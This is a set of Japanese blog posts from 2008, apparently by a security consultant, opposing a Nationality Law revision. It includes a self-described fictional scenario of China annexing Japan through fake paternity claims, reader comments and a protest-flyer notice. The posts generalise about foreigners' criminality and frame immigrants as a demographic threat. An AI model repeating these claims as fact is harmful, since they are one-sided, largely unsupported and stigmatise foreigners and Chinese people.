省令、政令として鑑定を行うようにする可能性が残されているのは知っていました。しかし、省令や政令だと国会での審議なしに何時でも変更できてしまいます。国籍は国家の骨格と言え、国籍の価値を危うくするような事を防ぐ事項を省令や政令で定めるのは不適切だと考えています。(するか、しないか、分からないし)
毎年毎年変化に対応しないといけない事が有ったとして、それを毎年毎年審議するのは国会に大きな負担がかかるのではないでしょうか?
コスト面等で考えると私は適切であると考えます。
本当にDNA鑑定をやる必要性があるのなら民法の下でやるべきでは?
国籍は日本の主権を構成する国民を定める重要な法律なので、民法のように基本的に個人や法人間の取り決めとは位置づけが全く異なります。
民法がこうなっているから、とかあまり厳密に考える必要はないと思います。例外的な取り扱いになるなら、その旨を記載すれば良いだけだと思います。例えば、国籍取得時は国籍法の規定の方が優先する、など。
原則論ばかり言っているとおかしな事になる典型例だと思います。例えば、日本は血統主義ですが出生地主義を取り入れてもなんの問題もありません。問題ない、というより取り入れるべきでしょう。ざっと英語版Wikipediaを見た所、各国とも両方の要素を取り入れているようです。
コメントを残す
国籍法の改正 - 最悪のシナリオ
性善説に基づいた国籍法の改正が現実となりそうです。
18日に国籍法改正案などを衆議院で可決
http://www.hokkaido-np.co.jp/news/politics/129559.html
忙しくてどうしようもない時期なのですが、日本が本当に崩壊への一歩を踏み出す瀬戸際だと、危機感を持っています。
改正国籍法で考えられるシナリオにはいろいろありますが、私が予想する最悪のシナリオを紹介します。中国は国の指導者が日本への侵略の意図を度々公言しているので、中国が日本を民主的に侵略する意図を持っていた場合のシナリオです。
このシナリオは事実や正確な予測に基づく予想ではなくフィクションです。数値は便宜上いれていますが、単なる想像上の数値です。
2008年
一部の保守派から激しい反発が起こるが、マスコミは反対意見や危険性をほとんど報道せず、国籍法の改正が行われた。これにより、戸籍法で認知された未成年(20歳未満)の外国人に日本国籍が認められる事となった。
2009年
中国政府内の「日本を民主的に占領」する秘密作戦が、民主党の名前にあやかって「日本民主占領作戦」と命名され承認された。
(民主党の政策には"使える"政策が多いので)
中国政府の意向に従う中国ヤクザが、2008年現在およそ60万人いた中国人のうち1%に当たる男性6000名ほどを非嫡出子の日本国籍取得を目的に帰化させた。既に帰化済みの中国人数千名と併せて、2009年だけて1万名ほどの中国政府の息のかかった「認知」を行う日本国籍を持つ中国人の認知部隊が準備された。
日本政府、政治家がこの時点で危険に気づき「もし」国籍法を再改正していたなら「日本民主占領作戦」は成功していなかったかも知れない。しかし、グローバリズムを重視し日本が仲良くする意図さえ持っていれば、外国が日本を侵略するような事はない、前の大戦では多大なる迷惑をかけた国につまらない事でケチをつける事はない、と国籍法が再改正されなかった。
認知による国籍付与も懸念が多かった改正だったが、二重国籍の容認も同じく懸念が多い改正案だった。民主党、公明党、社民党と自民党の一部議員は「グローバルな時代に合う法制度だ」と、多くの国民が懸念や反対を唱えるなか日本で重国籍も認める法案を提出、衆参両議会で多数を得ていた民主党と他党の意向どおり重国籍も国籍法の改正により認められた。
韓国での重国籍容認は2008年から議論されていたが、この時期に中国が突然重国籍を認めた。マスコミは相互主義に基づくすばらしい対応だ、と中国と民主党の対応を褒めちぎった。これにより、中国籍と日本籍の両方を持ち続ける事が両国で可能となった。
(民主党の公約には「二重国籍の容認」があり、成立させることを党是としています)
201x年
数万の規模となった認知部隊、日本国籍を持つ中国人が、多数の成人に近い中国人男性を新たな認知部隊の隊員として認知した。成人に近い男子の認知による国籍取得が非常に多いことは、不自然であった。しかし、一人で多数の認知を行うなど、不審な点が無いため全て日本国籍の取得が認められた。この新しい認知部隊は数年後からあたらな日本国籍を持つ中国人を作るために認知を開始することとなる。
認知部隊の隊員が認知する子供の件数は、3件から6件と現実的な数値に抑えられた。法務局にも怪しまれず、捜査当局の捜査も虚しく、認知部隊は数万名の新日本人を中国国内で誕生させる事に成功した。
この時期に、中国政府が日本国籍も持つ場合、一人っ子政策を適用しない方針を打ち出した。日本国籍を持ている親は自由に子供を作れ、日本国籍を持つ父親に認知され日本国籍を持つ子は一人っ子政策の子として計算されなくなった。認知部隊員も実子であれば好きなだけ日本国籍を持つ子供が作れた。マスコミは日本国籍を持つ者に対する優遇策だと歓迎する一方、「人口侵略の一種だ」との保守派の懸念の声を「日中友好は日本の国益であり、中国の国益でもある。中国が日本を侵略するなどと言うのは戦前の匂いがする議論だ」と物量報道で圧殺した。
中国と日本国、両方の国籍を持つ中国人日本人が日本国内で増え、文化摩擦などの問題が発生し始めていた。日本国民の対中感情が悪化し、秘密作戦への影響を懸念した中国政府が、日本国籍を持つ中国人の来日を制限をはじめた。中国も重国籍を認めているため、中国政府が日本国籍を持つ中国人の来日を制限しても「内政干渉」とされた。日本政府が日本国籍を持つ中国人の渡航の自由を求めても、当然のごとく無視された。マスコミも人権問題であるので激しく抗議するのか、と思われたが中国を悪く言えないマスコミはほとんど抗議らしい抗議をしなかった。全てが中国国内で行われていたので多くの日本人は問題意識を持たなかった。保守派には日本国籍を持つ日本人が、全く日本を知らずに育つのは将来に大きな問題を引き起こすと警告する。しかし、保守派の警告はまたしてもマスコミの「中国に住む日本人も幸せな生活を送っている」「訪れたことがなくても、父の国である日本が大好きです」といった偏向報道でかき消された。
(新年のNHKのチベット番組には仰天しました。中国は昔から現在にいたるまでチベットの文化と伝統を保護してきた、共産党の言い分だけ放送していました。何千もの寺院を破壊したんですけど...)
中国政府は渡航以外に、中国国内にいる中国・日本、両方の国籍を持つ中国人が日本国民の権利行使の制限も開始した。具体的には参政権の行使を制限し、選挙への投票も行えないよう厳しく制限した。日本政府は日本国籍を持つ中国人の権利が著しく侵害されている、と懸念を表明したが中国政府はあっさり無視した。マスコミも渡航制限同様「内政干渉となる」などいろいろ言い訳がましい解説を行うに留まった。
日本への渡航や日本人としての権利を厳しく制限する一方、日本国籍も持つ国民を多く作る事を中国政府は奨励した。日本国籍を持つ親は多数の子供(実子)を作り、日本国籍を持つ子供を大量に作った。中国政府は日本国籍を持つ親に優遇策を講じていたため、一つの家庭で10人以上の子供を持つケースも少なくなかった。
2020年頃には、不正に日本国籍を取得したとも、正当に日本国籍を取得したとも判別できないが、その日本国籍を持つ者が中国国内に百万人を超える数となった。
この時点で中国国内の日本を知らない日本人中国人が百万人となった事に、懸念を表す政治家や言論人も多数現れるが、マスコミの圧倒的な物量報道で懸念がことごとく圧殺され、問題は国民に広く知られる事はなかった。
202x年
中国国内で出生し、育っている日本人が数百万人に達した。日本で生まれず、育たず、日本文化も全く知らない日本人が数百万人も海外に存在する、この事に危機感を訴える日本人も多数いた。しかし、中国政府は日本国籍を持つ中国人の日本への渡航と参政権を厳しく制限していた。このため、日本国内の多くの日本人には問題意識が湧かなかった。
中国国内に住む中国人日本人と言える人々への「参政権の剥奪」「日本への渡航禁止」が上手く機能し、「中国が持つ日本の政治への影響力」を心配しなければならない事例は、全く発生しなかった。保守派が熱心に政治への影響力の懸念を表明しても、いつもの「日中友好を阻害する勢力であり、戦前の軍国主義者の考えと同じ。最近の日本の右傾化傾向を憂慮する」等といったマスコミの物量報道で常に圧殺され、多数の日本人は現実の脅威として実感できなかった。
グローバリズムを標榜する議員達は「日本国籍を持ち、中国に住む国民が日本にきたり、参政権を行使できないのは、非常に問題だ。しかし、中国の内政問題でもある。視点を変えれば、日本国籍を持ち、日本に好意的な中国人が何百万人も中国で育っている、この事実は素晴らしいことではないか!将来の日本の為にもなる!」と発言、マスコミもこの意見に好意的な報道ばかりしていた。
203x年
日本国籍を持つ中国人の増やす政策は順調に継続され、中国国内で育った日本を知らない日本人が数千万人となった。20年ほど前に偽装認知で生まれた多くの日本国籍を持つ中国人が、偽装認知と生めよ増やせ、と多くの日本人を作ってきた結果だった。
このままでは日本が乗っ取られる、と保守派の必死の言論も、 201x年に成立し、202x年に取り締まりが強化された人権擁護法により完全に封殺された。
「中国に存在する中国人日本人は日本の脅威だ」と発言するだけで、人権擁護委員会により中国にいる日本人を差別していると認定、差別主義者として社会から抹殺された。
(自民党を除く全ての政党は人権擁護法に賛成です。もちろん民主党もです。)
203x年からは中国の脅威を全く語る事が不可能となった。
この頃には日本国内に居住する中国人もかなりの数となった、2010年には60万人だった中国籍と日本籍の両方を持つ日本人が600万人にも達した。一部の自治体では中国人の為の行政があからさまに行われたが、人権擁護法により全く報道されなかった。保守派は警告していた通りに人権擁護法も、国籍法の改正も日本人の利益を害する方向で機能している、と感じていたがどうしようもなかった。こんな事なら何十年も前に外国人参政権が成立し、自治体が外国人に乗っ取られて痛い目に合うべきだったかもしれない、と考えたが後の祭りであった。
(民主党は外国人参政権の早期成立が党是です。党是なのでマニュフェストにも書いてないそうです。)
205x年
中国国内で育った日本を知らない日本人が、日本本土の日本人の数とほぼ同数の9千万人となった。
この時点で中国政府は、日本国籍を持つ中国人の日本への政治参加を解禁した。日本に在住する中国政府の意向を受けた中国系日本人政治家が、中国からの投票により衆議院で圧倒的多数となった。
2回の参議院議員選挙と経て、中国系日本人が参議院でも絶対多数を得た。
両院で絶対多数を持ち、中国政府の意向に従う中国系日本人議員により、国家主権の譲渡を含む憲法を改正が提案された。国民投票を行い、軽々過半数を超えた賛成票が集まり、日本国の主権譲渡を可能とする憲法が成立した。
(民主党は主権の共有・譲渡を改正憲法案、沖縄ビジョンなどで党の政策として公表しています)
日本政府は中日併合条約を結び、日本は中国の一部となり、中国の「日本占領占領作戦」が完了した。205x年x月x日、中国は「日本民主占領作戦」の成功を祝い祝杯を上げよろこんだ。この時、マスコミは既に「マスコミは共産党の舌であり喉である」とする中国共産党の支配下にあった。全ての直系日本人が絶望感に浸るなか、祝賀報道を大々的に行い、直系日本人の耳に虚しく響いた。
驚ろくべき事実もあった。記録によると一部の直系日本人も中日併合を心から喜んでいた。喜んでいたのは、武器を持たなければ戦争は起きない、仲良くしようとすれば侵略や紛争など起きない、と信じていた人々だった。その後の末路も知らずに。
(中国共産党は、国民党から寝返り、共産党の尽くした部隊にろくな武器も持たさず朝鮮戦争に参戦させ、全滅させた実績があります。数千万人単位で国民を虐殺している事も周知の事実です。現在進行形で法輪功、チベット、東トルキスタンの方は弾圧、虐殺されています。)
2100
205x年、日本国民は20世紀半ば中国とアジアの人々を5000万人虐殺し、朝鮮人女性を強制連行し性奴隷として扱った極悪非道の民族だった、と歴史の1ページとして紹介されるだけの存在となった。そして、日本国民の血を引く事は恥であるとされ、差別の対象となった。
(2,3年前くらいに「日本はアジアの人々を5000万人殺した」との主張がありました。)
日本人の血を引く者達は「イスラエルを建国するまでの、ユダヤ人の気持ちが良くわかる」と言い、21世紀初頭から愚策を心の中で非難した。
フィクションですのでこの通りなる、とは思っていません。さすがに日本人もここまで馬鹿でお人よしではないと思います。しかし、なんとなくこんな歴史もあり得るのかな?と思えませんか?
このシナリオのポイントは侵略する意図があり、民主的侵略に大量の国民を投入できる国であれば、日本人が一人いるだけでも長い期間をかければ、民主的な侵略が可能になる点です。新しい国籍法の問題はこのプロセスを指数的に加速できるだけとも言えます。(加速だけでもすごいことですが)このシナリオを考えた時、国籍のあり方について考えさせられました。血統主義より出生地主義の方がマシなのではないかと。
もう一つのポイントは侵略が成功する直前まで、日本に住んでいる人はほとんど被害を被らない点です。さすがに国外に住む国民が人口の3割、4割になり、日本憎しと反日教育を熱心に行っている国に住んでいるとなると心配になってくるでしょう。実際には反日教育を行いながら、日本人を生めよ、増やせよ、などといくら共産党独裁でも無理でしょう。反日教育を止めた中国が一つにまとまっていられるか?といった問題もあります。
こんなまどろっこしい事を計画的にしなくても、人口が圧倒的に多い国なら人を送り込み続けるだけでも国は乗っ取れます。キッシムだったかな?インドから大量のヒンズー教徒の流入でインドに併合されて消えてしまった国。日本はキッシムのような小国ではないので簡単ではありませんが、余剰人口数億人の中国の隣なので常に警戒する必要があります。法制度の不備を突き、時間をかければ戦争をしなくても併合する事は可能です。
別のシナリオには「日中戦争が再発」も考えられます。日中戦争なんてアメリカも困るのでは?と思う方も多いかもしれませんが、日中戦争はアメリカの国益に叶う部分があります。
どちらも、フィクションの本にしたら結構おもしろいかも知れませんね。
セキュリティホールが悪用される事ばかり考えていると、心配性になっていろいろ悪いシナリオが浮かぶんですよね。職業病ですね。ネクラなのか?と誤解されそうですが、本質的には楽観主義者でお気楽な性格です。本当です。じゃないとSOHOなんて出来ません(笑
最悪を予想し、最善を願う、兵法の基本であり、セキュリティ対策の基本です。願ってばっかり、の所が多いので困るのですけど(笑
追記:
民主的な日本国家の滅亡となると何十年間の期間が必要ですが、人身売買は直ぐにでも行われるでしょう。日本人の子供を権利を守るため改正で、外国人と外国の子供の人権が著しく侵害されるリスクが増大する。しかし、リスクを減少させるDNA鑑定は必須化しない、矛盾に満ちた法律です。
短いですが、割と良くまとまっている動画
http://jp.youtube.com/watch?v=pC0fImgoY9g
河野太郎が首謀者というあたりは、おそらく事実と異なります。
しかし、河野太郎は賛成派でしょう。重国籍の推進者であることは間違いありません。
これは詳しく解りやすく解説しています。是非見てください。
http://jp.youtube.com/watch?v=p6KU05NS4Ek (1/3)
http://jp.youtube.com/watch?v=p5vWBxQu3dU (2/3)
http://jp.youtube.com/watch?v=bgxdf_1qFsM (3/3)
「外国を見て来たきたからこそ、日本の良さがわかり、守っていかなければならないと感じた」とおっしゃる牧原秀樹議員の意見には全く同感です。しかし、国会議員が誰も知らないで重要法案が決まるとは、ここまで日本の政治はダメなのか、と悲しくなりました。
しかし、民主党のマニュフェストは信用してよいのでしょうか?PDFは検索しづらい画像形式ですし、ざっと見たところ外国人参政権、人権擁護法、戦時慰安婦賠償法、など異論が多い政策(それも直ぐに可決するつもりの法案)が明記されていないようです。こういう異論が多い問題こそ、マニュフェストに書くべきだと思いますが、既に法案を提出している、などの理由で書かないそうです。一国民としては騙された感じなのですが...
4 コメント
自民党の村田吉隆国対筆頭副委員長いわく、「トゥー・レイト」だそうです。
「偽装認知の危険あり」 国籍法改正案に反対の議連結成(産経新聞) - Yahoo!ニュース http://headlines.yahoo.co.jp/hl?a=20081117-00000607-san-pol
しかし、法律が可決されたからといって、民主主義のこの日本で、我々国民がそれに対して何もできないわけではないと思います。
施行を阻止するなり、より厳格な内容の改正を実現するなりするために、我々にできる、次の行動は何でしょうか。
引き続きこのブログで次の行動指針も示していただけたらと思います。
まず、血統主義国の外国人と結婚した中国人が子供を設けた場合、中国以外で出産した場合はその子供は配偶者の国籍しか得られません。
おそらくこれは人口減らしの一環を考えての規定でしょう。
あと、韓国も多重国籍者は厳しめですね。
兵役前を受ける前に韓国籍を離脱の禁止があります。
それと、更に厳しくしようと云う方向があって、多重国籍者は韓国人として扱わない様にしようという動きが常に有ります。
逆に緩いのがオーストラリアです。
オーストラリアは最近?多重国籍容認(むしろ推奨)になり、更に一度得た国籍は離脱不可能となってます。
確かカナダやフランスも多重国籍容認だったかな。
ということで、中国や韓国は多重国籍に関してはかなり消極的にしか見えません。
ただ、中国に関しては香港、マカオがあるので、あそこはまたかなり特殊ですけどね。
あまり詳しくは知りませんでしたが、知ってはいました。
なのでシナリオ中にも中国が多重国籍を認める、といれています。
haraokaさん、さすが国際派!よくご存知ですね。参考になります。
http://schiphol.2ch.net/test/read.cgi/offmatrix/1226930122/
【日にち】11月30日(日)
【時間】2時〜5時予定
【場所】東武浅草駅前(道路使用許可申請済)
【持ち物】各自印刷したチラシ。+αもOK、最悪手ぶらも可
【服装】極端に目立つ格好でなければ何でも可ですが、コスプレや特定の政治思想を連想させる格好(特攻服や、日の丸の鉢巻きetc)はご遠慮下さい。
ネットを見ない層に「知らせる」事を目的に、ビラ配り・今回の問題の説明・請願書のお願いをします。
あまり大掛かりにならないように、気軽に参加できるシンプルな企画を目指しています。
よろしくお願いします。
コメントを残す
国籍法の改正案が成立間近 - 日本崩壊の危機
これまでブログに政治的な内容は一切書きませんでしたが、この問題については書かずにはいられません。国籍法の改悪により、本当に数十年のうちに日本が崩壊する可能性があると考えられるからです。専門家ではありませんが、全くこの問題についてご存知でない方の為に簡単に解説します。
最高裁違憲判決
昨年6月に最高裁で一つの違憲判決がでました。判決の要旨は”日本国籍を持つ父親が生後に非嫡出子を認知しても、日本国籍を取得できない現行の国籍法は違憲である”といった内容でした。現行の国籍法では父方だけが日本人である場合、結婚して認知しなければ生まれた子供に日本国籍は与えられませんでした。つまり、最高裁判決は婚姻要件が法の下の平等に反し違憲だとしました。
参考:
最高裁判例 - 国籍確認請求事件
http://www.courts.go.jp/search/jhsp0030?action_id=dspDetail&hanreiSrchKbn=02&hanreiNo=36416&hanreiKbn=01
内閣と国会の対応
公明党を中心として国籍法の改正案が準備され、11月4日に閣議決定されました。民主党も早々に賛成の方針を打ち出しています。この法案には大きな問題があると考えています。実際、自民党の稲田朋美議員(法務委員会委員)を中心とした有志議員32名は国民の不安が払拭できるまで、慎重に審議するよう申し入れています。しかし、政府与党と民主党は18日に衆議院で採決するとしています。
参考:
国籍法改正案を了承
http://www.komei.or.jp/news/2008/1022/12815.html
「父母の婚姻」国籍取得要件から外す…法改正案閣議決定
http://www.yomiuri.co.jp/politics/news/20081104-OYT1T00274.htm
国籍法改正案、今国会で成立へ…民主が賛成方針
http://www.yomiuri.co.jp/politics/news/20081107-OYT1T00941.htm
国籍法改正問題で慎重審議を申し入れ 有志議員32人
http://sankei.jp.msn.com/politics/situation/081114/stt0811142028003-n1.htm
国籍法改正案審議入り 不正認知横行の懸念も
http://sankei.jp.msn.com/politics/situation/081115/stt0811150054000-n1.htm
国籍法の改正案
婚姻要件を無くし、日本国籍を持つ父親の「認知」により子の日本国籍を取得可能とする。偽装認知には懲役1年以下、罰金20万円以下の刑罰を追加する。
参考:
http://www.asahi.com/politics/update/1104/TKY200811040114.html
国籍法改正案の問題点
国籍法の改正には多くの問題があります。単純に人身売買、不法滞在などの犯罪に利用されるだけでないリスクがあります。本来、法律は性悪説で作られるべきと思います。特に日本国籍取得に関しては歴史的にも犯罪者に悪用されてきた経緯があるのでなおさらです。しかし、国籍法の改正案は性善説を前提としているように思えます。
客観的な親子鑑定の不在
認知は戸籍法に基づいて行われます。戸籍法の認知では、本当の遺伝的に親子であるかは問題とされていません。認知は個人の自由意志で行える仕組みになっています。今回、国籍法の改正の伴う戸籍法の改正はなされません。法務委員会での官僚の答弁では認知を行う上で、書類による審査など行うとしていますが、DNA鑑定無しでは偽装認知を効果的に防ぐ事は無理だと考えられます。
効果が無い罰則規定
偽装認知には罰則規定があります。罰則が甘すぎる事も問題ですが、偽装認知を検出する仕組みがないので罰則自体が機能しません。たとえ親子関係がなく国籍取得を目的とした偽装認知だとしても、強制的にDNA検査を行う条項などが無いので検査もできません。
明記されていない国籍の剥奪
不正に取得した国籍は剥奪されて当然ですが、国籍法の改正案には規定されていません。自民党の国籍問題プロジェクトチームの河野太郎衆議院議員のブログのQ&Aによると、不正取得された国籍であるなら剥奪するのが当然、と書かれていました。しかし、法律に明記されていない場合は行政に任される事になります。国籍剥奪の様に重要な問題を法律で明記しない理由が理解できません。行政のさじ加減で国籍を維持できたり、剥奪できるのは問題だと思います。
運用での問題回避
衆議院法務委員会の動画を見たところ、法案を説明されていた官僚は運用でも偽装認知を防げる旨の説明をされていました。しかし、国籍は国家の基本単位となる国民を区別する非常に重要な資格です。重要な資格である国籍の偽装認知を防止する仕組みを、法案の中に入れないのは重大な欠陥と言えます。さらに、法律の裏付けがないと強制的に偽装認知を確認する事は、ほぼ無理だと思います。法律も無いのに、強制的になんらかの確認をさせられるようでは、法治国家と言えないでしょう。
不法滞在
従来から外国人を日本に不法滞在させる事を目的とした、偽装結婚は横行していました。しかし、この改正案が成立すると、20歳未満の子供であれば認知する事により日本国籍を取得でき、当然日本にも滞在できるようになります。母親の日本滞在も容易に認められるでしょう。
人身売買
従来から不法滞在は強制売春などの温床であり、日本は国連人権委員会からも「人身売買を放置している国家」と名指しされ非難されているところです。国籍法の改正により、犯罪者が20歳未満の子供をより容易に人身売買を行えるようになります。直接20歳未満の女性を人身売買する事はもちろん、幼い子供がいる女性の子を認知し在留許可を得る、直接幼い子供を人身売買の対象にする、などの犯罪行為が予想できます。
ねずみ算式の移民
20歳近くの子供が日本国籍を取得した場合、すぐ数十人の外国人を呼び寄せる事が可能になります。幼い子供を自分の子供として認知するだけです。仮に行政側で渡航履歴などを検査して不正を防ごうとしても、もともと外国に住んでいた「日本人」が自分の子供である、と10人、15人認知しても偽装認知を証明する手段が全くありません。母親にも特別在留が許可されると考えられるので20人、30人の「移民」と言える外国人を受け入れる事になります。この法案では移民法より簡単に大量の移民を受け入れる事になりかねません。移民であれば途中で停止する事も可能ですが、この国籍法では停止することも不可能です。1000万人移民どころか、2000万人、5000万人でも受け入れざるを得なくなります。
治安問題
残念ながら外国人による犯罪率は日本人の犯罪率よりかなり高いのが現状です。不正に国籍を取得するなど、犯罪を犯して入国した者のほとんどは何らかの犯罪に関わると考えられます。どの国でも同じですが、多くの外国人を受け入れた場合、外国人が集団で住むようになります。日本は豊かな国であるため、経済的格差により特定の地域がスラム化する危険性もあります。人口の10%近くの移民を受け入れた国家では暴動なども発生しています。フランスでの暴動も記憶に新しいと思います。イタリアでは軍隊が出動する騒ぎまで発生しています。
雇用問題
ねずみ算的な移民を可能とするので雇用問題も発生します。まず最初に影響を受けるのは非正規雇用の方々でしょう。移民と言える人々は日本人より安い給与で雇えるので、経営者はこぞって外国人、元外国人を採用するでしょう。溢れた非正規雇用の受け皿はないでしょう。非常に高い失業率となる事が予想されます。
他文化強制
残念ながら「多文化共生」のような社会にはならないでしょう。これは、米国に留学していた体験から感じています。米国でさえ大きな問題を抱えています。日本文化と他の文化では文化的な違いは大きく、様々は文化が摩擦なく共生することは非常に難しいでしょう。短期間に大量の移民とも言える外国人を受け入れると、日本人が他の文化を強制される「他文化強制」となってしまうのは確実です。
社会的コストの増大
移民とも言える外国人が急増すると、社会的コストが飛躍的に増大します。刑務所は既に外国人犯罪者でいっぱいだとされています。日本語を理解できない日本人と外国人が増え、役所などでは翻訳が欠かせなくなるでしょう。翻訳だけでも毎年数兆円のコスト増になるかも知れません。経済的基盤が脆弱な新しい日本人が生活保護を必要とする事も容易に想像できます。さらに、日本は外国人に対しても生活保護も行っています。新日本人と一緒に日本に来た外国人にも、生活が困窮すれば生活保護が支給されます。金融危機でまた就職氷河期のようですが、雇用は確実に悪くなるでしょう。失業者の増大も大きな社会的コストとなります。日本はCO2排出権取引を行う事になりましたが、人口の増大によりCO2排出量が増えれば排出権の購入も必要となります。
法制度の不備
日本国籍を得た場合、当然日本に滞在する権利どころか、日本国民としての権利全てを行使できます。アメリカの場合、帰化1世は国政選挙に立候補できません。日本は帰化直後からでも国政選挙に出られます。実際に民主党には帰化直後に参議院議員比例区で当選し、その直後から外国の為に働く事を宣言した議員までいます。外国は帰化した国民のスパイ活動を防止するため、監視する仕組みを持っています。日本には全くありません。現在の日本の法制度では、新しい日本人による国益を損なう活動を防止する仕組みがない、と言っても構わない状況です。
アメリカでは父親が子供を認知しても、母親が滞在する許可は簡単には取得できなかったと思います。アメリカのように自由と平等を重んじる移民社会でも国を守る為に様々な権利を制限しています。日本には必要な法制度が整備されていません。
日本国の滅亡
ご存知の方も多いと思いますが、中国軍の指導者には「2050年までに日本はなくなる」と公言している方もいます。この国籍法によりこの言葉が現実となる可能性が十分あると考えられます。中国には人口を減らしたい事情があります。中国の農業人口は5億人とも6億人とも言われています。そして、農業が近代化すれば1億人でも多いくらいだと言われています。つまり、中国は国内の貧困問題などを解消する為にも、数億人単位の余剰人口を解消する必要があるのです。この国籍法は余剰人口を日本に押し付けるには都合の良い法律です。40年ほどの間に億単位の中国人を受け入れざるを得なかった場合、日本は日本国として存在しえないでしょう。世界の歴史には、このような形で滅亡した国がいくつもあります。
必要な対策
戸籍法の認知にDNA鑑定を導入するには様々な問題があるようです。子供としての権利(扶養義務、遺産相続など)を行使するだけであれば戸籍法の認知だけで十分だと思います。
国籍法で日本国籍を取得する際には、戸籍法上の認知と国籍法で定めたDNA鑑定を必須要件とするのが最も良いのではないか、と考えています。
DNA鑑定の結果が絶対的に正しいとは言えませんが、客観的な証拠がないと不正認知を効果的に防げません。裁判でも証拠として採用されているDNA鑑定を、一部のケースで正しくない場合があることを理由に導入しないのは、飲酒運転を100%取り締まれないので取り締まらないのと同じです。
追記:DNA鑑定が行われても罰則規定の強化も必要でしょう。DNA鑑定の偽造、国籍取得を目的とした妊娠などの非人道的行為を防ぐために懲役15年、罰金1000万円程度の罰則は最低限必要だと思います。
認知した場合、当然扶養義務が発生しますが国籍法でも必須要件とすべきでしょう。国籍取得要件に父親(母親の場合も同様)による扶養の事実確認、国籍取得後の扶養事実の確認が要件とすべきでしょう。無責任な認知を多数行え、国籍を配布できるような法律制度は決して許すべきでは無いと思います。また、特に悪用される可能性が高いとされる外国人母の特別在留資格の付与は、アメリカ同様にかなり厳しく制限するべきです。
素人の考えなのでご意見がございましたら、コメントをお願いします。
国籍法の改悪を阻止する方法
18日に衆議院で採決ですから時間はほとんどありません。この国籍法の改悪を阻止するには、国会議員、今は特に衆議院議員、に国籍法の改悪に反対である事を「直接」伝えなければなりません。
日曜日は国会議員は地元に帰っているはずです。議員事務所に直接出向き、国籍法の改正案の内容に不安があり、政府案のまま成立させるのは反対である、と伝えると効果的だと思います。
地元国会議員が法務委員である場合は事務所に行き、現行法案に反対するのは効果的だと思います。
法務委員会 委員名簿
http://www.shugiin.go.jp/itdb_iinkai.nsf/html/iinkai/iin_j0030.htm
月曜日はメールでもFAXでも電話でも良いので、議員事務所に「現状の国籍法の改正案に反対」である旨を伝える必要があります。政党本部、都道府県支部に電話するのも良いと思います。
法律には素人ですが、この法案は本当に危険な法案だと思います。移民法と違い、外国人の流入を止める事ができない法律になっています。移民国家のアメリカでさえ新しい移民、不法残留ができかぎり少なくなり、文化摩擦が起きないようにシステムを構築していても、問題を解決できているとは言えません。無防備と言える状態で移民を無制限に受け入れる事と、同じとなってしまう可能性が非常に高い考えられます。
民主主義は黙っていては機能しません。国籍法の改正は危険だ、と感じた方は是非行動を起こしてください。私は二人の娘を持つ父として行動します。
追記:日本はスパイ防止法や外国人の親戚が大量に押し寄せる事を防ぐ法制度ができていません。むしろ、反対に外国人が押し寄せたくなるような制度があるくらいです。国民の生活が成り立たなくなったら国が保護するのは良いことですが、日本は外国人に対しても保護を行っています。国民の保護は国の義務です。外国人の保護は外国の義務です。このように区別がきちんとされていない状況では、すぐに不利益がなくても長期的に多くの国益を損ねる事になると予想できます。
国籍法の改正と自民党の国籍法プロジェクトチームの重国籍
今回の国籍法の改正とは別に、自民党の国籍法関連のプロジェクトチームから2重国籍を認める私案が出されています。この私案と政府提出の国籍法の改正案は全く別物です。同時期に提案されているので混同されないようご注意ください。
最後に
いつもはコンピュータのセキュリティリスクの事をあれこれ想像して心配しているのですが、心配だけに終わる事も多いです。この国籍法の改正案のリスクをあれこれ想像すると、国家存続を危険にさらすリスクがある、と思えてなりません。国籍法に対する不安も、杞憂に終わればよいのですが、このままでは政府案のまま成立してしまいそうです....
ネットには多くの方が国籍法の改正について記載・評論されています。マスコミはほとんど報道していませんが、私と同じようにリスクを感じている方が多数です。検索して見てください。
記述に事実誤認など間違いなどございましたら、コメントをお願いします。
追記:
これは詳しく解りやすく解説しています。是非見てください。
http://jp.youtube.com/watch?v=p6KU05NS4Ek (1/3)
http://jp.youtube.com/watch?v=p5vWBxQu3dU (2/3)
http://jp.youtube.com/watch?v=bgxdf_1qFsM (3/3)
「外国を見て来たきたからこそ、日本の良さがわかり、守っていかなければならないと感じた」とおっしゃる牧原秀樹議員の意見には全く同感です。しかし、国会議員が誰も知らないで重要法案が決まるとは、ここまで日本の政治はダメなのか、と悲しくなりました。
6 コメント
にわかに囁かれ始めた国籍法の成立騒ぎですが、私も同意見です
私自身は旅行も含めて日本から出た事ないのでピンとこない部分がありましたが、大垣さんの様に外から日本を見てこられた方の意見を拝見すると事の重要性がよく判ります。
私は家の家業(農業)もやっておりますが高齢化により労働力低下で外国人を雇い入れて大掛かりにやる農業法人化と言う手もありますがどこもうまく行ってると言う話は聞きませんしむしろトラブルしか聞きません。
日本の諺で「軒先貸せば母屋まで」と言われようにこのままでは先祖代々元々住んでる我々の主権が取られる事を危惧していますし
子を持つ親としてかなり心配です。
こう言った重要案件を報道しないマスコミに対していかがなものかと思っており、くだらないバラエティ流してる間があるならこう言った事に光を当てるのが本分じゃないかと私は思います。
話はそれますけど某アニメの様に「流入した外国人の為に血税が使われ、そのための重税を我々が払う」と言う台詞は自分の口から言いたくないです。
しかし一方で、現在フランスで「移民」として生活している立場からすると、「移民が増えることは即ち問題である」という論は、過度のナショナリズムを感じさせる極端な意見だと感じます。もちろん、フランスでもそういう意見の人もいればそうでない意見の人もいますが、そんな様々な立場の意見のバランスの中で、私たち家族が十分な居場所が与えられていることをとても幸せに感じています。
また、「日本文化と他の文化では文化的な違いは大きく」という点についても、別に日本文化だけが決定的に他の文化と際立って異なっているわけではなく、その他の文化もそれぞれに十分に個性があり、十分に大きく異なっている、というのが私の実感です。
確かに、日本人が他の文化を受け入れて多文化が共生する社会になるには時間がかかるかも知れません。ですが、徐々にそうなっていくのは不可避なのではないかと思います。私はむしろ、日本だけが特別だという意識を日本人だけが信じつづけて世界から孤立していくことの方が、日本の将来に対する危機だと考えます。
国籍取得の悪用を防ぐための方策にさらなる検討を要するという点は同意しますが、本来国籍を取得できてしかるべき子供たちの権利が、偏狭なナショナリズムのためにつぶされてしまってはいけないと思います。
http://schiphol.2ch.net/test/read.cgi/offmatrix/1226930122/
【日にち】11月30日(日)
【時間】2時〜5時予定
【場所】東武浅草駅前(道路使用許可申請済)
【持ち物】各自印刷したチラシ。+αもOK、最悪手ぶらも可
【服装】極端に目立つ格好でなければ何でも可ですが、コスプレや
特定の政治思想を連想させる格好(特攻服や、日の丸の鉢巻きetc)はご遠慮下さい。
ネットを見ない層に「知らせる」事を目的に、
